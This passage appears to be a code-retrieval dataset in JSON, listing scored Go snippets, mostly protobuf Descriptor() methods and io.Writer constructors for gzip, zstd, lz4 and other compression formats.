*fastReflection_MsgAddAllowedDenomResponse) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgAddAllowedDenomResponse\n}", "title": "" }, { "docid": "309e699b0d218a31565e446efdc8b66d", "score": "0.6397555", "text": "func (x *fastReflection_Delegation) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Delegation\n}", "title": "" }, { "docid": "c9c19c622919ad77699be0e0af5a63b9", "score": "0.6393856", "text": "func (*OperationMetadata) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_security_privateca_v1beta1_service_proto_rawDescGZIP(), []int{25}\n}", "title": "" }, { "docid": "58bfddce1ca5edcbc0eff24cd5289e70", "score": "0.63920516", "text": "func (*GetPendingMessagesRequest) Descriptor() ([]byte, []int) {\n\treturn file_fleetspeak_src_server_proto_fleetspeak_server_admin_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "70269ee0e24174e7c4c01cdb27ba8ab4", "score": "0.63910383", "text": "func (x *fastReflection_MsgRevokeAllowance) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgRevokeAllowance\n}", "title": "" }, { "docid": "1a2f3679407ff7fe6264897ec6b8b395", "score": "0.63908607", "text": "func (*RemoveTeamMembersReq) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_request_teams_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "622cb0e6a2b800507e78d926ea55fab5", "score": "0.638815", "text": "func (*Constraint) Descriptor() ([]byte, []int) {\n\treturn file_tarianpb_types_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "a663f845b98834394b2f0bc1d3c678ce", "score": "0.6386712", "text": "func (*GetCallbacksRequest) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_swarming_proto_api_plugin_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "47cc4065caa0a91e6cac7a7b7af4113c", "score": "0.6385319", "text": "func (*Message) Descriptor() ([]byte, []int) {\n\treturn file_github_com_gunk_gunk_example_server_api_v1_all_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "24d1dc67e135991a61f53f6d4a9771ec", "score": "0.63847005", "text": "func (*NamedTypeDescriptorProto) Descriptor() ([]byte, []int) {\n\treturn file_descriptor_proto_rawDescGZIP(), []int{24}\n}", "title": "" }, { "docid": "b05d4304a3369d03c83051c61392ff26", "score": "0.6383744", "text": "func (*Untyped) Descriptor() ([]byte, []int) {\n\treturn file_io_prometheus_client_metrics_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "17c32f24caedbd4af33e2b01191f2816", "score": "0.6382581", "text": "func (*Delete) Descriptor() ([]byte, []int) {\n\treturn file_tck_crdt2_proto_rawDescGZIP(), []int{14}\n}", "title": "" }, { "docid": "c760442efe9264453bce1ac3dd7b4c08", "score": "0.63819087", "text": "func (*DeletePendingMessagesRequest) Descriptor() ([]byte, []int) {\n\treturn file_fleetspeak_src_server_proto_fleetspeak_server_admin_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "4285dffea0c3f539c7af7a8df31170a4", "score": "0.63818765", "text": "func (*InstanceMessage) Descriptor() ([]byte, []int) {\n\treturn file_pkg_security_proto_api_api_proto_rawDescGZIP(), []int{41}\n}", "title": "" }, { "docid": "8187ecf594b1cf370582be2295295372", "score": "0.638067", "text": "func (*UpdateTelemetryReportedRequest) Descriptor() ([]byte, []int) {\n\treturn file_external_compliance_reporting_stats_stats_proto_rawDescGZIP(), []int{18}\n}", "title": "" }, { "docid": "fc9b7fd84612356c56312aa48b720553", "score": "0.6379541", "text": "func (*LabelsRemoveFromMessage) Descriptor() ([]byte, []int) {\n\treturn file_chat_labels_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "158d5a8ed3830b4f5601a482445528d0", "score": "0.6379", "text": "func (*AddTeamMembersReq) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_request_teams_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "79cb82d50d39933f2ef7253f0beb3f27", "score": "0.63773465", "text": "func (x *fastReflection_TallyParams) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_TallyParams\n}", "title": "" }, { "docid": "3715fc674f0b0cd4d2eb81683691eefc", "score": "0.6376543", "text": "func (*VMProtoDataBuf) Descriptor() ([]byte, []int) {\n\treturn file_valprotocol_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "0ed0085c4b2cca630dc5c3416ea1c532", "score": "0.6374992", "text": "func (*EndpointsProto) Descriptor() ([]byte, []int) {\n\treturn file_jina_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "20364c8a4584ea7d43acc5dee0c0f3f5", "score": "0.6373375", "text": "func (*DoubleProto) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_server_internal_gae_base_api_base_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "e5a4ec68f1677a1bc4b3c5140402024d", "score": "0.6372762", "text": "func (x *fastReflection_MsgRemoveAllowedDenom) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgRemoveAllowedDenom\n}", "title": "" }, { "docid": "4a66cca4a1490a80eb70d6f49ae1ba23", "score": "0.6371346", "text": "func (*FieldUpdate) Descriptor() ([]byte, []int) {\n\treturn file_google_devtools_issuetracker_v1_issuetracker_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "3e2ede17171c9273214759ec7c5e8109", "score": "0.63693714", "text": "func (m Message) Descriptor() protoreflect.MessageDescriptor {\n\tmm, _ := m[messageTypeKey].(messageMeta)\n\treturn mm.md\n}", "title": "" }, { "docid": "46c6e0158a6e0017fe4144ea5a66ed76", "score": "0.6367267", "text": "func (a *adapter) Descriptor() protoreflect.MessageDescriptor {\n\tif a.msgDesc == nil {\n\t\tif err := a.init(); err != nil {\n\t\t\tklog.Fatalf(\"init failed: %v\", err)\n\t\t}\n\t}\n\treturn a.msgDesc\n}", "title": "" }, { "docid": "d9719013c3475a9d77d69aa18ba91322", "score": "0.636716", "text": "func (*CallParticipants) Descriptor() ([]byte, []int) {\n\treturn file_client_call_proto_rawDescGZIP(), []int{26}\n}", "title": "" }, { "docid": "95ecd799c6a0cbc8a7255af6ede58136", "score": "0.6365141", "text": "func (*WellKnownRequest) Descriptor() ([]byte, []int) {\n\treturn file_foobar_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "e0cb98c9486cd70e61c4487a31fd4e27", "score": "0.63641244", "text": "func (*StringProto) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_server_internal_gae_base_api_base_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "a4f2b78bd43cf908df098884f02bbe2e", "score": "0.6361789", "text": "func (*Name) Descriptor() ([]byte, []int) {\n\treturn file_add_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "7b3b9cc12b7e66c1aa02afa39cca2bd4", "score": "0.6360361", "text": "func (*Patch) Descriptor() ([]byte, []int) {\n\treturn file_k8s_io_apimachinery_pkg_apis_meta_v1_generated_proto_rawDescGZIP(), []int{29}\n}", "title": "" }, { "docid": "0128b1f78a77e3000ffd0e049a17232a", "score": "0.6360196", "text": "func (*VersionedValue) Descriptor() ([]byte, []int) {\n\treturn file_pkg_shadow_shadowpb_shadow_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "43b0419e6aaeb5a2be0b3796ce878210", "score": "0.6359531", "text": "func (*EnumOnlyProto3) Descriptor() ([]byte, []int) {\n\treturn file_google_protobuf_test_messages_proto3_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "b1425b54d92e6f86cca18d9743679e4b", "score": "0.63584024", "text": "func (*Delegation) Descriptor() ([]byte, []int) {\n\treturn file_cosmos_staking_v1beta1_staking_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "f8f0eb2273277bbb9f9c45404a451d36", "score": "0.63567114", "text": "func (*Description) Descriptor() ([]byte, []int) {\n\treturn file_cosmos_staking_v1beta1_staking_proto_rawDescGZIP(), []int{3}\n}", "title": "" } ]
5cc0e9c1d1243272ecce843be4f7a97c
NewWriter returns a new Writer. Writes to the returned writer are compressed and written to w. It is the caller's responsibility to call Close on the WriteCloser when done. Writes may be buffered and not flushed until Close. Callers that wish to set the fields in Writer.Header must do so before the first call to Write, Flush, or Close.
[ { "docid": "6046faae93e75ba2e333c04ddf56ec0a", "score": "0.6598242", "text": "func NewWriter(w io.Writer) *Writer {\n\tz, _ := NewWriterLevel(w, DefaultCompression)\n\treturn z\n}", "title": "" } ]
[ { "docid": "c43ac30cf1fe5365e02cab2b0eb89176", "score": "0.7042191", "text": "func NewCompressWriter(w io.Writer) *compressWriter {\n\tp := &compressWriter{writer: w}\n\tp.data = make([]byte, BlockMaxSize, BlockMaxSize)\n\n\tzlen := lz4.CompressBound(BlockMaxSize) + HeaderSize\n\tp.zdata = make([]byte, zlen, zlen)\n\treturn p\n}", "title": "" }, { "docid": "24b55b51cafbc2cfb35b17cb1d4fa4c8", "score": "0.6913092", "text": "func (c *CompressionCodec) NewWriter(w io.Writer) io.WriteCloser {\n\tp := new(writer)\n\tif cached := encPool.Get(); cached == nil {\n\t\tp.enc, p.err = zstdlib.NewWriter(w,\n\t\t\tzstdlib.WithEncoderLevel(c.level))\n\t} else {\n\t\tp.enc = cached.(*zstdlib.Encoder)\n\t\tp.enc.Reset(w)\n\t}\n\treturn p\n}", "title": "" }, { "docid": "23c439be42b47b4807b71d30303dff6c", "score": "0.68669134", "text": "func NewWriter(w io.Writer, h *sam.Header, wc int) (*Writer, error) {\n\treturn NewWriterLevel(w, h, gzip.DefaultCompression, wc)\n}", "title": "" }, { "docid": "8c4161645ec604fb1926a1c98db714d4", "score": "0.67664474", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tWriter: gzip.NewWriter(w),\n\t\tBaseWriter: w,\n\t}\n}", "title": "" }, { "docid": "5e6249cd17ec96ce27c1fa293eb048dc", "score": "0.67505014", "text": "func NewWriter(w io.Writer) (*Writer, error) {\n\twrtr := &Writer{w: w, out: make([]byte, bufferLen)}\n\n\tif err := wrtr.bz.compressInit(blockSize, verbosity, workFactor); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn wrtr, nil\n}", "title": "" }, { "docid": "38dd5e655a315c4692bb98e40f974b06", "score": "0.67258966", "text": "func (c *CompressionCodec) NewWriter(w io.Writer) io.WriteCloser {\n\tx := writerPool.Get().(*xerialWriter)\n\tx.Reset(w)\n\tx.framed = c.framing == Framed\n\treturn &writer{x}\n}", "title": "" }, { "docid": "a6fc4270a41e8d02c6dd481e393ad553", "score": "0.6705652", "text": "func NewWriter(w io.Writer, order Order, litWidth int) io.WriteCloser {\n\treturn newWriter(w, order, litWidth)\n}", "title": "" }, { "docid": "026e633d7518a8df9a29baf1bf3a0bd0", "score": "0.6684997", "text": "func NewWriter(w io.Writer) *Writer {\n\ttgzw := &Writer{WrappedWriter: w}\n\t// gzip writer\n\ttgzw.GzipWriter = gzip.NewWriter(w)\n\t// tar writer\n\ttgzw.Writer = tar.NewWriter(tgzw.GzipWriter)\n\treturn tgzw\n}", "title": "" }, { "docid": "a4d7c2448b5bfd836d6e8da25618291b", "score": "0.66380453", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tlz4Stream: C.LZ4_createStream(),\n\t\tdstBuffer: make([]byte, CompressBoundInt(streamingBlockSize)),\n\t\tunderlyingWriter: w,\n\t}\n\n}", "title": "" }, { "docid": "522a5d1bf0679a91f6609fe5dbb89196", "score": "0.6611247", "text": "func NewWriter(w io.Writer, width int, header bool) *Writer {\n\tgw := &Writer{\n\t\tw: w,\n\t\tWidth: width,\n\t\tTimeFormat: Astronomical,\n\t\tPrecision: -1,\n\t}\n\n\tif header {\n\t\tgw.WriteMetaData(Version)\n\t}\n\n\treturn gw\n}", "title": "" }, { "docid": "4aca30841835658539f799bd132a8772", "score": "0.6371294", "text": "func NewWriter(w io.Writer) *Writer { return &Writer{w: w} }", "title": "" }, { "docid": "ddda8feebc0d1879ef3b04aadcd224ca", "score": "0.6332001", "text": "func NewCompressor(w io.Writer, header uint32) (c *Compressor, finish func() error, err error) {\n\tc = &Compressor{\n\t\theader: header,\n\t\tbw: newBitWriter(w),\n\t\tleadingZeros: math.MaxUint8,\n\t}\n\tif err := c.bw.writeBits(uint64(header), 32); err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to write header: %w\", err)\n\t}\n\treturn c, c.finish, nil\n}", "title": "" }, { "docid": "6a9eac3948a6bab4505d8c3740a1e6a4", "score": "0.6304362", "text": "func NewWriter(w io.Writer, o OutputFunc) Writer {\n\twrapped := &wrappedWriter{\n\t\twriter: bufio.NewWriter(w),\n\t\toutput: o,\n\t}\n\tif c, ok := w.(io.Closer); ok {\n\t\treturn &wrappedClosingWriter{\n\t\t\twrappedWriter: wrapped,\n\t\t\tcloser: c,\n\t\t}\n\t}\n\treturn wrapped\n}", "title": "" }, { "docid": "6a9eac3948a6bab4505d8c3740a1e6a4", "score": "0.6304362", "text": "func NewWriter(w io.Writer, o OutputFunc) Writer {\n\twrapped := &wrappedWriter{\n\t\twriter: bufio.NewWriter(w),\n\t\toutput: o,\n\t}\n\tif c, ok := w.(io.Closer); ok {\n\t\treturn &wrappedClosingWriter{\n\t\t\twrappedWriter: wrapped,\n\t\t\tcloser: c,\n\t\t}\n\t}\n\treturn wrapped\n}", "title": "" }, { "docid": "57ea9a259f6e26e26f263b25f4bb062e", "score": "0.6279861", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{*zip.NewWriter(w), \"\"}\n}", "title": "" }, { "docid": "4916801f6f263646e0e7fcd66e2d9b5d", "score": "0.6235416", "text": "func NewWriter(w io.Writer, s Cipher) io.Writer {\n\treturn &writer{\n\t\tWriter: w,\n\t\tCipher: s,\n\t}\n}", "title": "" }, { "docid": "cc3e8c7fe098f17d7f86d0240410236b", "score": "0.6230349", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tdest: w,\n\t\tbuffer: make([]byte, 0, defaultBufferSize),\n\t}\n}", "title": "" }, { "docid": "29d15a2bf2fe31ccc1785a5e25707401", "score": "0.621424", "text": "func NewWriter(w io.Writer, enc Encrypter) (io.WriteCloser,error){\n\tbw := bufio.NewWriter(w)\n\tpre,ciph,err := enc.StartEncryption()\n\tif err!=nil { return nil,err }\n\tg := &Writer{\n\t\tenc: msgpack.NewEncoder(bw),\n\t\twriter:bw,\n\t\tcipher:ciph,\n\t}\n\terr = g.enc.Encode(pre)\n\tif err!=nil { return nil,err }\n\tswitch ciph.mode() {\n\tcase mBlock: g.coder = wBlock\n\tcase mStream: g.coder = wStream\n\tcase mAEAD:\n\t\tg.coder = wAEAD\n\t\tg.random = rand.NewSource(rand.Int63())\n\tdefault: return nil,EUnknownCipherType\n\t}\n\treturn g,nil\n}", "title": "" }, { "docid": "1ad6a63e7454db21b784a11392a79084", "score": "0.61866224", "text": "func NewWriter(sst *SSTable, compress bool) *Writer {\n\tkeyIndex := make([]index, 0)\n\tblocks := make([]blockInfo, 0)\n\tbuf := make([]byte, 0)\n\n\tw := &Writer{\n\t\tnumEntries: 0,\n\t\toffset: 0,\n\t\tkeyOffset: 0,\n\t\tkeyIndex: keyIndex,\n\t\tblocks: blocks,\n\t\tbuf: buf,\n\t\tdataFile: sst.datafile,\n\t\tmetaFile: sst.metafile,\n\t\tfilterFile: sst.filterfile,\n\t\tcompress: compress,\n\t}\n\tw.bufferedWriter = bufio.NewWriter(w.dataFile)\n\tw.bufferedMetaWriter = bufio.NewWriter(w.metaFile)\n\n\tw.writer = w.bufferedWriter\n\tw.metaWriter = w.bufferedMetaWriter\n\treturn w\n}", "title": "" }, { "docid": "5505a1c3c3e81ebf23a23a863dbc8692", "score": "0.6186511", "text": "func NewWriter(writer io.Writer, fileName string, compression string, contentLengthHeader string) (*Writer, error) {\n\tif compression != \"\" {\n\t\tif compression == \"GZIP\" {\n\t\t\tvar gzipWriter *gzip.Writer\n\t\t\t// If the record's Content-Length is bigger than a megabyte, we use the parallel gzip library\n\t\t\tif contentLengthHeader != \"\" {\n\t\t\t\tcontentLength, err := strconv.Atoi(contentLengthHeader)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tif contentLength > 1000000 {\n\t\t\t\t\tpgzipWriter := pgzip.NewWriter(writer)\n\t\t\t\t\treturn &Writer{\n\t\t\t\t\t\tFileName: fileName,\n\t\t\t\t\t\tCompression: compression,\n\t\t\t\t\t\tPGZIPWriter: pgzipWriter,\n\t\t\t\t\t\tFileWriter: bufio.NewWriter(pgzipWriter),\n\t\t\t\t\t}, nil\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tgzipWriter = gzip.NewWriter(writer)\n\t\t\treturn &Writer{\n\t\t\t\tFileName: fileName,\n\t\t\t\tCompression: compression,\n\t\t\t\tGZIPWriter: gzipWriter,\n\t\t\t\tFileWriter: bufio.NewWriter(gzipWriter),\n\t\t\t}, nil\n\t\t} else if compression == \"ZSTD\" {\n\t\t\tzstdWriter, err := zstd.NewWriter(writer)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\treturn &Writer{\n\t\t\t\tFileName: fileName,\n\t\t\t\tCompression: compression,\n\t\t\t\tZSTDWriter: zstdWriter,\n\t\t\t\tFileWriter: bufio.NewWriter(zstdWriter),\n\t\t\t}, nil\n\t\t}\n\t\treturn nil, errors.New(\"Invalid compression algorithm: \" + compression)\n\t}\n\n\treturn &Writer{\n\t\tFileName: fileName,\n\t\tCompression: \"\",\n\t\tFileWriter: bufio.NewWriter(writer),\n\t}, nil\n}", "title": "" }, { "docid": "b830c477089d4119931c497179b1cc05", "score": "0.61655825", "text": "func New(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: w,\n\t}\n}", "title": "" }, { "docid": "fc8cb2f09b077191cf40fa535dce650d", "score": "0.6156359", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: w,\n\t\tl: &limiter{},\n\t}\n}", "title": "" }, { "docid": "f1ff3d835b579c1c0d34cb1195a6d23b", "score": "0.6149026", "text": "func NewWriter(w io.WriteCloser) *Writer {\n\treturn &Writer{\n\t\twriter: newSimpleWriter(w),\n\t\t// Buffering is important here since we're using this\n\t\t// channel as a semaphore.\n\t\tlockCh: make(chan struct{}, 1),\n\t}\n}", "title": "" }, { "docid": "d4ad9e7b180fd819c23e0957e3ec601d", "score": "0.61277276", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: w,\n\t\tcount: 8,\n\t}\n}", "title": "" }, { "docid": "0d31c97c09c8ea6852a7da941cf28218", "score": "0.61141926", "text": "func NewWriter(w io.Writer, blockSize int) *Writer {\n\treturn &Writer{new(bytes.Buffer), w, 0, 0, blockSize}\n}", "title": "" }, { "docid": "4e69e9a4ecd3f0324ecd032cd4ac45ea", "score": "0.61056095", "text": "func NewWriter(w io.Writer, pretty bool) *Writer {\n\tindent := \"\"\n\tif pretty {\n\t\tindent = \" \"\n\t}\n\n\treturn &Writer{\n\t\tw: w,\n\t\tindent: indent,\n\t}\n}", "title": "" }, { "docid": "93fa6dbb48ed284d170086d7f98530f2", "score": "0.60686666", "text": "func New() *Writer {\n\tret := new(Writer)\n\tret.buf = make([]byte, 0, 4*1024)\n\treturn ret\n}", "title": "" }, { "docid": "86e65edd7ccedbe2fc33b58acfc83900", "score": "0.60680234", "text": "func NewWriterWithHeader() Writer {\n\tbyteSlice := GetByteSliceFromPool() \n\n\tw := Writer{\n\t\tbyteSlice: byteSlice,\n\t\tcurrentCap: len(byteSlice),\n\t}\n\n\tw.WriteUInt16(0)\n\n\treturn w\n}", "title": "" }, { "docid": "4dcfb3bb894622f50cd3375ae3aba380", "score": "0.6066539", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: bufio.NewWriter(w),\n\t\tStrictHeaders: true, // True to check number of records in regular rows and header (default)\n\t}\n}", "title": "" }, { "docid": "e80330e4d879eef23f316b5623943b1b", "score": "0.60587686", "text": "func NewWriter(ignore string, output io.Writer, minWidth, tabWidth, padding int, padChar byte, flags uint) *Writer {\n\treturn new(Writer).Init(ignore, output, minWidth, tabWidth, padding, padChar, flags)\n}", "title": "" }, { "docid": "17afb2c32b52e8b3a6e1a24473957711", "score": "0.60573125", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tWriter: bufio.NewWriter(w),\n\t\tunderlying: w,\n\t\tclose: true,\n\t}\n}", "title": "" }, { "docid": "c38ca55ff92f4e700f95e302864c4da4", "score": "0.6057105", "text": "func NewWriter(w io.WriteCloser) *Writer {\n\treturn &Writer{WriteCloser: w}\n}", "title": "" }, { "docid": "bed745fb56a394d9292337fe608459ba", "score": "0.60496104", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{bw: bufio.NewWriter(w)}\n}", "title": "" }, { "docid": "db0bb97d0bb60f0d823810a92995ddf9", "score": "0.6032155", "text": "func NewWriter(writer io.WriteSeeker, hasher HashFunc) (*Writer, error) {\n\t// Leave 256 * 8 * 2 bytes for the index at the head of the file.\n\t_, err := writer.Seek(0, os.SEEK_SET)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = writer.Write(make([]byte, headerSize))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif hasher == nil {\n\t\thasher = newCDBHash\n\t}\n\n\treturn &Writer{\n\t\thasher: hasher,\n\t\twriter: writer,\n\t\tbufferedWriter: bufio.NewWriterSize(writer, 65536),\n\t\tbufferedOffset: headerSize,\n\t}, nil\n}", "title": "" }, { "docid": "de28042b9e96fbb8972ba7ee6b3dc28d", "score": "0.6030652", "text": "func NewWriter(w io.Writer, limiter *limiter.Limiter, fragile bool) *Writer {\n\treturn &Writer{\n\t\twriter: w,\n\t\tlimiter: limiter,\n\t\tfragile: fragile,\n\t\tdeadline: atomic.NewTime(time.Time{}),\n\t}\n}", "title": "" }, { "docid": "822fdfca2c49ad1762ed38adaa5ed4eb", "score": "0.602836", "text": "func NewWriter(w io.Writer, offset int64, goos, goarch string) *Writer {\n\treturn &Writer{z: zip.NewWriter(w), w: w, off: offset, goos: goos, goarch: goarch}\n}", "title": "" }, { "docid": "de90a19dabc586bbfb2e89a86c0b5a5c", "score": "0.6025448", "text": "func NewWriter(w io.Writer) (io.WriteCloser, error) {\n\treturn cgozstd.NewWriter(w), nil\n}", "title": "" }, { "docid": "464ec61f6b97cbe645ccaf032cec8d8f", "score": "0.6024395", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\twr: w,\n\t\tout: make([]byte, 1),\n\t}\n}", "title": "" }, { "docid": "2c4313bae61d9bd122d9c54ec21e6773", "score": "0.6013575", "text": "func NewWriter(w io.Writer) *Writer {\n\n\treturn &Writer{w: w, cache: make([]byte, capacity)}\n}", "title": "" }, { "docid": "6daa2234bf456261ab06ab89c11b9e37", "score": "0.5988358", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tindexBuffer: indexBuffer{\n\t\t\tmaxBlockLength: 64 * 1024,\n\t\t\toffset: uint64(0),\n\t\t\tindex: index{},\n\t\t},\n\t\twriter: w,\n\t}\n}", "title": "" }, { "docid": "c3d8fc4eb2c1c10efb48d313c8484c41", "score": "0.5986655", "text": "func NewWriter(w io.Writer) *Writer {\n\treturn &Writer{\n\t\tw: w,\n\t\tobuf: make([]byte, obufLen),\n\t}\n}", "title": "" }, { "docid": "a400e3a83c710017ba4ffb7162677bee", "score": "0.5978524", "text": "func NewWriter(w io.Writer, t core.ObjectType, size int64) (*Writer, error) {\n\tif !t.Valid() {\n\t\treturn nil, core.ErrInvalidType\n\t}\n\tif size < 0 {\n\t\treturn nil, ErrNegativeSize\n\t}\n\twriter := &Writer{\n\t\theader: header{t: t, size: size},\n\t}\n\treturn writer, writer.init(w)\n}", "title": "" }, { "docid": "3bfe18a4e8220a4db7e26eccb9d7712c", "score": "0.596877", "text": "func NewWriter(w io.Writer, fields []string) *Writer {\n\treturn &Writer{\n\t\tSeparator: '\\t',\n\t\tw: bufio.NewWriter(w),\n\t\tVersion: \"1.0\",\n\t\tFields: fields,\n\t}\n}", "title": "" }, { "docid": "a7cc52b95c8cf768a195fdf583f3850c", "score": "0.59647167", "text": "func NewWriter(w io.Writer) Writer {\n\treturn Writer{w, 0}\n}", "title": "" }, { "docid": "132145957f8b011f58bc4b244e38c5ea", "score": "0.5923499", "text": "func newWriter(c Config, w http.ResponseWriter) (*gzip.Writer, error) {\n\tif c.Level >= gzip.BestSpeed && c.Level <= gzip.BestCompression {\n\t\treturn gzip.NewWriterLevel(w, c.Level)\n\t}\n\treturn gzip.NewWriter(w), nil\n}", "title": "" }, { "docid": "f9aabda42b1066b2693e752dbad5fc8e", "score": "0.591714", "text": "func NewWriter(w io.Writer, hdr Header) (*Writer, error) {\n\tpreamble := fmt.Sprintf(\n\t\t\"#!rtpplay1.0 %s/%d\\n\",\n\t\thdr.Source.To4().String(),\n\t\thdr.Port)\n\tif _, err := w.Write([]byte(preamble)); err != nil {\n\t\treturn nil, err\n\t}\n\n\thData, err := hdr.Marshal()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := w.Write(hData); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Writer{writer: w}, nil\n}", "title": "" }, { "docid": "83effe4c17cf1d2971984bbb15763bcb", "score": "0.5911725", "text": "func NewWriter(w gin.ResponseWriter, buf *bytes.Buffer) *Writer {\n\treturn &Writer{ResponseWriter: w, body: buf, headers: make(http.Header)}\n}", "title": "" }, { "docid": "e35cfaf187d38609ca05f27f62088419", "score": "0.59024024", "text": "func New(w http.ResponseWriter) *Writer {\n\treturn &Writer{\n\t\tWriter: w,\n\t}\n}", "title": "" }, { "docid": "9b949d3fb0b1875deb0f1a205c8558b8", "score": "0.5893078", "text": "func Compress(w io.Writer, compression CompressionType, level *int) (io.WriteCloser, error) {\n\tswitch compression {\n\tcase CompressionTypeGZIP:\n\t\tif level == nil {\n\t\t\tlevel = aws.Int(gzip.DefaultCompression)\n\t\t}\n\t\tgw, err := gzip.NewWriterLevel(w, *level)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn gw, nil\n\tcase CompressionTypePGZIP:\n\t\tif level == nil {\n\t\t\tlevel = aws.Int(pgzip.DefaultCompression)\n\t\t}\n\t\tpgw, err := pgzip.NewWriterLevel(w, *level)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcc := runtime.NumCPU() / 2\n\t\tif cc == 0 {\n\t\t\tcc = 1\n\t\t}\n\t\terr = pgw.SetConcurrency(1<<20, cc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn pgw, nil\n\tcase CompressionTypeLZ4:\n\t\tlz4w := lz4.NewWriter(w)\n\t\tif level != nil {\n\t\t\tlz4w.Header.CompressionLevel = *level\n\t\t}\n\t\treturn lz4w, nil\n\tcase CompressionTypeSNAPPY:\n\t\treturn snappy.NewBufferedWriter(w), nil\n\tcase CompressionTypeS2:\n\t\tcc := runtime.NumCPU() / 3\n\t\tif cc == 0 {\n\t\t\tcc = 1\n\t\t}\n\t\twriterOptions := []s2.WriterOption{s2.WriterConcurrency(cc)}\n\t\tif level != nil {\n\t\t\tswitch *level {\n\t\t\tcase 1:\n\t\t\t\twriterOptions = append(writerOptions, s2.WriterUncompressed())\n\t\t\tcase 3:\n\t\t\t\twriterOptions = append(writerOptions, s2.WriterBetterCompression())\n\t\t\tcase 4:\n\t\t\t\twriterOptions = append(writerOptions, s2.WriterBestCompression())\n\t\t\t}\n\t\t}\n\t\treturn s2.NewWriter(w, writerOptions...), nil\n\tcase CompressionTypeZstandard:\n\t\tencLevel := zstd.SpeedDefault\n\t\tif level != nil {\n\t\t\tencLevel = zstd.EncoderLevelFromZstd(*level)\n\t\t}\n\t\treturn zstd.NewWriter(w, zstd.WithEncoderLevel(encLevel))\n\tcase CompressionTypeNone:\n\t\tfallthrough\n\tdefault:\n\t\treturn nopWriteCloser{w}, nil\n\t}\n}", "title": "" }, { "docid": "adb8ed02e1ce57e65411d8a855b025d5", "score": "0.5884314", "text": "func NewWriter(w io.Writer, width int) *Writer {\n\treturn &Writer{\n\t\tw: w,\n\t\tIDPrefix: []byte(DefaultIDPrefix),\n\t\tSeqPrefix: []byte(DefaultSeqPrefix),\n\t\tWidth: width,\n\t}\n}", "title": "" }, { "docid": "bfdc340b8649bc41ff12ed366c8f631e", "score": "0.58701944", "text": "func NewWriter(f io.WriteCloser) *Writer {\n\treturn &Writer{\n\t\tf: f,\n\t\tw: bufio.NewWriter(f),\n\t}\n}", "title": "" }, { "docid": "ea04ecdd837ff154e44cc43939757aa6", "score": "0.58664936", "text": "func NewWriter(w io.Writer, header string) *Writer {\n\tfmt.Fprintf(w, \"{\\\"stream\\\":\\\"%v\\\",\\\"entries\\\":[\\n\", header) //nolint:errcheck\n\treturn &Writer{\n\t\theader: header,\n\t\toutput: w,\n\t}\n}", "title": "" }, { "docid": "aff699435982218006fe79a7e60b992e", "score": "0.58657795", "text": "func NewWriter(w io.Writer) *Writer {\n\twriter := Writer{\n\t\tw: bit.NewWriter(w),\n\t\tblockSize: 9,\n\t}\n\n\twriter.setUp()\n\n\treturn &writer\n}", "title": "" }, { "docid": "3bd9f77e87a117f1a3c67fcf969c5949", "score": "0.58474064", "text": "func NewWriter(w io.WriteCloser) *Writer {\n\tchecksumWriter := &Writer{w: 